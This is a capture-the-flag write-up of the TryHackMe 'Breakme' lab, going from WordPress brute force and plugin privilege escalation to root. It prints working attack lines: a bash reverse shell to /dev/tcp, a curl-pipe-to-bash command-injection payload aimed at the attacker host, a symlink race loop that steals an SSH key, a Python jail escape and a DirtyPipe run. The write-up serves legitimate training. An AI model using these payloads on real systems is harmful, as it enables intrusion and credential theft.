Post

TryHackMe: Breakme

Breakme is a Medium Tryhackme room where we start by exploiting an outdated wordpress plugin to gain higher privileges, gaining a reverse shell we found an internal web server that’s vulnerable to Command Injection allowing us to escalate on the victim machine we then exploited a Race Condition flaw within an executable and escaped a python jail script to escalate our privileges and become root.

The room can be exploited in 2 different ways an Intended Way and another Unintended Way we’ll cover them both!


Intended Way

Enumeration

Nmap Scan

Starting with an nmap on 10.10.158.39

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ nmap -sC -sV 10.10.158.39 -T4 -oN breakme.nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-23 16:30 CET
Nmap scan report for 10.10.158.39
Host is up (0.081s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 8e:4f:77:7f:f6:aa:6a:dc:17:c9:bf:5a:2b:eb:8c:41 (RSA)
|   256 a3:9c:66:73:fc:b9:23:c0:0f:da:1d:c9:84:d6:b1:4a (ECDSA)
|_  256 6d:c2:0e:89:25:55:10:a9:9e:41:6e:0d:81:9a:17:cb (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.60 seconds

Looking at the results we get 2 ports open.

  • 22/SSH OpenSSH - open
  • 80/HTTP Apache - open

Web Application - 80

Taking a look at http://10.10.158.39/ we get a default Apache2 Debian Page.

Screenshot

We decided to run a Gobuster on the web server to enumerate it more.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ gobuster dir -u http://10.10.158.39/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -t 100 -r -b 404,403
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.158.39/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes:   404,403
[+] User Agent:              gobuster/3.6
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.                    (Status: 200) [Size: 10701]
/wordpress            (Status: 200) [Size: 85696]
/manual               (Status: 200) [Size: 676]
Progress: 14871 / 63089 (23.57%)

We found 2 endpoint /wordpress and /manual, the one being interesting was /wordpress, taking a look at it we don’t find much of information.

Screenshot

So we decided to run wp-scan to dig deeper into it and enumerate users and all plugins on the website.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ wpscan --url http://10.10.158.39/wordpress -e u,ap 
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.27
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://10.10.158.39/wordpress/ [10.10.158.39]
[+] Started: Mon Sep 23 16:38:38 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.56 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.10.158.39/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://10.10.158.39/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://10.10.158.39/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.4.3 identified (Insecure, released on 2024-01-30).
 | Found By: Rss Generator (Passive Detection)
 |  - http://10.10.158.39/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>
 |  - http://10.10.158.39/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>

[+] WordPress theme in use: twentytwentyfour
 | Location: http://10.10.158.39/wordpress/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-07-16T00:00:00.000Z
 | Readme: http://10.10.158.39/wordpress/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.2
 | Style URL: http://10.10.158.39/wordpress/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://10.10.158.39/wordpress/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.0'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] wp-data-access
 | Location: http://10.10.158.39/wordpress/wp-content/plugins/wp-data-access/
 | Last Updated: 2024-09-18T00:01:00.000Z
 | [!] The version is out of date, the latest version is 5.5.14
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 5.3.5 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://10.10.158.39/wordpress/wp-content/plugins/wp-data-access/readme.txt

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:01 <====================================> (10 / 10) 100.00% Time: 00:00:01

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://10.10.158.39/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] bob
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Sep 23 16:38:46 2024
[+] Requests Done: 56
[+] Cached Requests: 6
[+] Data Sent: 15.268 KB
[+] Data Received: 430.428 KB
[+] Memory used: 256.457 MB
[+] Elapsed time: 00:00:08

Exploitation

Initial Foothold

Looking at the results we find 2 useful information, having 2 users bob and admin and having a vulnerable wp plugin, wp-data-access. Launching a password bruteforce using wpscan we were able to retrieve bob’s password successfully.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ wpscan --url http://10.10.158.39/wordpress -e u --passwords /usr/share/wordlists/rockyou.txt
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.27
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://10.10.158.39/wordpress/ [10.10.158.39]
[+] Started: Mon Sep 23 16:41:29 2024

Interesting Finding(s):

[...]

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <====================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://10.10.158.39/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] bob
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] Performing password attack on Wp Login against 2 user/s
[SUCCESS] - bob / [REDACTED]                                                                                          

[!] Valid Combinations Found:
 | Username: bob, Password: [REDACTED]

[!] No WPScan API Token given, as a result vulnerability data has not been output. 28688814)  0.00%  ETA: ??:??:??
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Sep 23 16:41:42 2024
[+] Requests Done: 190
[+] Cached Requests: 46
[+] Data Sent: 66.353 KB
[+] Data Received: 1.041 MB
[+] Memory used: 233.734 MB
[+] Elapsed time: 00:00:12

Heading to http://10.10.158.39/wordpress/wp-login.php and using the credentials found we were able to log in but as a low previliged user. We now need a way to elevate our privileges in order to gain a reverse shell as we usually do with wordpress.

Googling wp-data-access 5.3.5 exploit we were able to find a blog post mentioning a vulnerability that leads to a privilege escalation within wordpress.

Setting the wpda_role[] parameter to administrator after updating our profile using Burpsuite we were able to escalate our privileges.

Screenshot

Once we forward the request we gain admin privileges.

Screenshot

Heading to Tools > Theme File Editor we were able to inject our PHP reverse shell into patterns/footer.php. Once done, we set up our netcat listener nc -lnvp PORT and go to http://10.10.158.39/wordpress/wp-content/themes/twentytwentyfour/patterns/footer.php and that’s when we catch a reverse shell!

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ nc -lnvp 4444                                 
listening on [any] 4444 ...
connect to [10.9.3.146] from (UNKNOWN) [10.10.158.39] 35194
Linux Breakme 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64 GNU/Linux
 11:55:48 up 29 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@Breakme:/$ export TERM=xterm
export TERM=xterm
www-data@Breakme:/$ 

Lateral Movement (John)

After looking for a while we couldn’t find anything interesting as www-data only an internal open port at 9999.

1
2
3
4
5
6
7
8
9
www-data@Breakme:/$ ss -tlnp
ss -tlnp
State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0      80         127.0.0.1:3306      0.0.0.0:*          
LISTEN 0      4096       127.0.0.1:9999      0.0.0.0:*          
LISTEN 0      128          0.0.0.0:22        0.0.0.0:*          
LISTEN 0      511                *:80              *:*          
LISTEN 0      128             [::]:22           [::]:*          
www-data@Breakme:/$ 

So we decided to port forward that using Chisel. Setting up a python web server to send it to the box we were able to forward that port into our machine to investigate it more.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ cp ~/Desktop/chisel .                          
                                                                                                                  
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ ls
README.md  breakme.nmap  chisel
                                                                                                                  
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ python3 -m http.server             
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.158.39 - - [23/Sep/2024 17:04:17] "GET /chisel HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
                                                                                                                  
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ ./chisel server -p 9005 --reverse &
[1] 9211
                                                                                                                  
2024/09/23 17:06:57 server: Reverse tunnelling enabled
2024/09/23 17:06:57 server: Fingerprint rVpum+FgFJfUDMUO19spP4rhonxrISMZ/nlrbPQ599A=
2024/09/23 17:06:57 server: Listening on http://0.0.0.0:9005
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ 2024/09/23 17:06:58 server: session#1: tun: proxy#R:9999=>9999: Listening

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
www-data@Breakme:/$ cd /tmp
cd /tmp
www-data@Breakme:/tmp$ wget http://10.9.3.146:8000/chisel
wget http://10.9.3.146:8000/chisel
--2024-09-23 12:04:17--  http://10.9.3.146:8000/chisel
Connecting to 10.9.3.146:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8945816 (8.5M) [application/octet-stream]
Saving to: ‘chisel’

chisel              100%[===================>]   8.53M  1.21MB/s    in 10s     

2024-09-23 12:04:27 (874 KB/s) - ‘chisel’ saved [8945816/8945816]

www-data@Breakme:/tmp$ chmod +x chisel
chmod +x chisel
www-data@Breakme:/tmp$ ./chisel client 10.9.3.146:9005 R:9999:127.0.0.1:9999 &
./chisel client 10.9.3.146:9005 R:9999:127.0.0.1:9999 &
[1] 1213
www-data@Breakme:/tmp$ 2024/09/23 12:06:56 client: Connecting to ws://10.9.3.146:9005

2024/09/23 12:06:58 client: Connected (Latency 70.356073ms)


www-data@Breakme:/tmp$ 

Checking http://127.0.0.1:9999/ we get a basic web app where we can Check a Target (alive or not), Check a User and Check for a File.

Screenshot

After trying all of the inputs available we knew that this must be vulnerable to command injection, more specifically a blind command injection as we’re not able to see the output. After trying multiple payloads and spending a lot of time trying and figuring out a way out of the well-filtered web app we did find one that works and gets us a shell.

First thing we need to do is to create a bash reverse shell file and host it on a python web server.

1
2
#!/bin/bash
sh -i >& /dev/tcp/10.9.3.146/9001 0>&1

Setting up a netcat listener on port 9001 and injecting our payload: |curl${IFS}http://10.9.3.146:8000/reverse.sh|bash will get us our reverse shell!

Screenshot

1
2
3
4
5
6
7
8
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.9.3.146] from (UNKNOWN) [10.10.158.39] 35844
sh: 0: can't access tty; job control turned off
$ whoami
john
$ 

Copying our public key into john’s authorized_keys we were able to gain a more stable shell through ssh.

Lateral Movement (Youcef)

First thing we did is grabbing linpeas and running it on the box and we found a readfile binary on Youcef home directory that has an SUID on. Getting the binary into our machine and giving it to Ghidra and Chat-GPT we managed to get a look-a-like source code of the binary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <assert.h>

#define TARGET_UID 0x3ea // Target UID: 1002 in decimal

// Main function that takes command-line arguments
int main(int argc, char *argv[]) {

    int access_check;
    __uid_t user_id;
    ssize_t bytes_read;
    struct stat file_stat;
    char buffer[1024];
    int file_descriptor;
    int read_bytes;
    int write_bytes;
    uint is_symlink;
    char *flag_check;
    char *id_rsa_check;
    
    // Check if exactly one argument is provided (argc should be 2)
    if (argc == 2) {
        // Check if the file provided exists and is accessible
        access_check = access(argv[1], F_OK);
        if (access_check == 0) {
            // Get the real user ID of the calling process
            user_id = getuid();
            
            // Check if the user is the target UID (1002)
            if (user_id == TARGET_UID) {
                // Check if the file contains "flag" or "id_rsa" in its name
                flag_check = strstr(argv[1], "flag");
                id_rsa_check = strstr(argv[1], "id_rsa");
                
                // Get file status information
                lstat(argv[1], &file_stat);
                
                // Check if the file is a symbolic link
                is_symlink = (file_stat.st_mode & S_IFMT) == S_IFLNK;
                
                // Check if the file is readable
                access_check = access(argv[1], R_OK);
                
                // If the file does not contain "flag", is not a symlink, is readable, and does not contain "id_rsa"
                if (flag_check == NULL && is_symlink == 0 && access_check != -1 && id_rsa_check == NULL) {
                    // Print success message
                    puts("I guess you won!\n");
                    
                    // Open the file for reading
                    file_descriptor = open(argv[1], O_RDONLY);
                    if (file_descriptor < 0) {
                        // Assertion failure if the file could not be opened
                        assert(file_descriptor >= 0 && "Failed to open the file");
                    }
                    
                    // Read and output the file content to stdout
                    do {
                        bytes_read = read(file_descriptor, buffer, sizeof(buffer));
                        read_bytes = (int)bytes_read;
                        if (read_bytes < 1) break;
                        write_bytes = write(STDOUT_FILENO, buffer, (long)read_bytes);
                    } while (write_bytes > 0);
                    
                    return 0;
                } else {
                    // Print failure message if the file is restricted
                    puts("Nice try!");
                    return 1;
                }
            } else {
                // If the user is not the target UID, print an error message
                puts("You can't run this program");
                return 1;
            }
        } else {
            // If the file does not exist, print an error message
            puts("File Not Found");
            return 1;
        }
    } else {
        // If the program is not called with exactly one argument, print usage instructions
        puts("Usage: ./readfile <FILE>");
        return 1;
    }
}

So basically the executable checks if a specified file can be read by a user with UID 1002. It ensures the file exists, is not a symbolic link, and does not contain “flag” or “id_rsa” in its name. If all conditions are met, it prints the file’s contents , otherwise, it displays error messages.

We need to bypass the filter and the only way to do that is through a race condition, more specifically a TOCTOU (Time of Check to Time of Use) vulnerability, the bug here is that between the time the checks are made and the time the file is opened, the state of the file can change. This is where the TOCTOU vulnerability comes into play, to break it down even more, if an attacker creates a symlink that points to a sensitive file (like in our case /home/youcef/.ssh/id_rsa), the checks will pass if the symlink does not contain “flag” or “id_rsa” in its name. However, if the attacker manages to change what the symlink points to before the actual read operation occurs, the program will inadvertently read the sensitive file.

Now that we understand where the vulnerability lie let’s exploit it, we first need to create an infinite loop in the background that creates a symlink, deletes it and then creates it once again.

1
while true; do ln -sf /home/youcef/.ssh/id_rsa symlink; rm symlink; touch symlink; done &

We now need to execute the readfile binary over and over again until we capture the private key using the following command.

1
for i in {1..30}; do /home/youcef/readfile symlink; done

And at some point, bingo! we will see the private key popping.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
john@Breakme:~$ for i in {1..30}; do /home/youcef/readfile symlink; done
File Not Found
File Not Found
I guess you won!

File Not Found
File Not Found
I guess you won!

File Not Found
File Not Found
I guess you won!

File Not Found
File Not Found
I guess you won!

File Not Found
File Not Found
I guess you won!

File Not Found
File Not Found
I guess you won!

File Not Found
File Not Found
I guess you won!

File Not Found
File Not Found
I guess you won!

File Not Found
File Not Found
I guess you won!

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCGzrHvF6
Tuf+ZdUVQpV+cXAAAAEAAAAAEAAAILAAAAB3NzaC1yc2EAAAADAQABAAAB9QCwwxfZdy0Z
P5f1aOa67ZDRv6XlKz/0fASHI4XQF3pNBWpA79PPlOxDP3QZfZnIxNIeqy8NXrT23cDQdx
[REDACTED]
-----END OPENSSH PRIVATE KEY-----
File Not Found
File Not Found
I guess you won!

john@Breakme:~$ 

Once the id_rsa file content is in our hand, we copied it into id_rsa and tried to connect using it but it’s encrypted using a passphrase so we used ssh2john and john to crack it and retrieve the passphrase.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ nano id_rsa                                          
                                                                                                          
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ chmod 700 id_rsa 
                                                                                                                                                                                                         
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ ssh -i id_rsa youcef@10.10.158.39 
Enter passphrase for key 'id_rsa': 
youcef@10.10.158.39's password: 
Permission denied, please try again.
youcef@10.10.158.39's password: 
                                                                                                     
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ ssh2john id_rsa > id_rsa.john    
                                                                                                          
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ john id_rsa.john -wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)
                                                                                                                            
                                                                                                          
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ john id_rsa.john -show                                          
id_rsa:[REDACTED]

1 password hash cracked, 0 left

Using the private key and the passphrase we just obtained we were able to connect successfully!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/breakme]
└─$ ssh -i id_rsa youcef@10.10.158.39
Enter passphrase for key 'id_rsa': 
Linux Breakme 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 23 14:29:19 2024 from 10.9.3.146
youcef@Breakme:~$ ls .ssh
authorized_keys  id_rsa  user2.txt
youcef@Breakme:~$ 

Privilege Escalation (Root)

Once we’re on youcef’s account we checked for sudo permissions using sudo -l and we found a python script that we could run as root.

1
2
3
4
5
6
7
youcef@Breakme:/home/john$ sudo -l
Matching Defaults entries for youcef on breakme:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User youcef may run the following commands on breakme:
    (root) NOPASSWD: /usr/bin/python3 /root/jail.py
youcef@Breakme:/home/john$ 

Upon running the python script using sudo we’ll find ourselves in a python environement that has restrictions as we can’t execute some commands. After trying many payloads and checking many articles on python jails and manipulating payloads we found one that works and gives us a shell into root account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
youcef@Breakme:~$ sudo /usr/bin/python3 /root/jail.py
  Welcome to Python jail  
  Will you stay locked forever  
  Or will you BreakMe  
>> print(__builtins__.__dict__['__IMPORT__'.casefold()]('OS'.casefold()).__dict__[f'SYSTEM'.casefold()]('ID'.casefold()))
uid=0(root) gid=0(root) groups=0(root)
0
>> print(__builtins__.__dict__['__IMPORT__'.casefold()]('OS'.casefold()).__dict__[f'SYSTEM'.casefold()]('BASH'.casefold()))
root@Breakme:/home/youcef# cd /root
root@Breakme:~# ls -la
total 52
drwx------  3 root root 4096 Mar 21  2024 .
drwxr-xr-x 18 root root 4096 Aug 17  2021 ..
lrwxrwxrwx  1 root root    9 Aug  3  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
-rwx------  1 root root 5438 Jul 31  2023 index.php
-rw-r--r--  1 root root 5000 Mar 21  2024 jail.py
-rw-r--r--  1 root root    0 Mar 21  2024 .jail.py.swp
-rw-------  1 root root   33 Aug  3  2023 .lesshst
drwxr-xr-x  3 root root 4096 Aug 17  2021 .local
-rw-------  1 root root 7575 Feb  4  2024 .mysql_history
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-------  1 root root   33 Aug  3  2023 .root.txt

And like that we rooted the room successfully!

Unintended Way

Exploitation

After gaining first foothold into the server and gaining a shell as www-data, Linpeas did mention for us some vulnerabilites on the box, including DirtyPipe. Looking for a static binary of it we found one here, downloading that and sending it to the machine we are able to priv esc to root directly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
www-data@Breakme:/tmp$ ./exploit-static 
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...It worked!
Password: Restoring /etc/passwd from /tmp/passwd.bak...
Done! Popping shell...
(run commands now)
id
uid=0(root) gid=0(root) groups=0(root)
ls /root -la
total 52
drwx------  3 root root 4096 Mar 21  2024 .
drwxr-xr-x 18 root root 4096 Aug 17  2021 ..
lrwxrwxrwx  1 root root    9 Aug  3  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
-rwx------  1 root root 5438 Jul 31  2023 index.php
-rw-r--r--  1 root root 5000 Mar 21  2024 jail.py
-rw-r--r--  1 root root    0 Mar 21  2024 .jail.py.swp
-rw-------  1 root root   33 Aug  3  2023 .lesshst
drwxr-xr-x  3 root root 4096 Aug 17  2021 .local
-rw-------  1 root root 7575 Feb  4  2024 .mysql_history
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-------  1 root root   33 Aug  3  2023 .root.txt
This post is licensed under CC BY 4.0 by the author.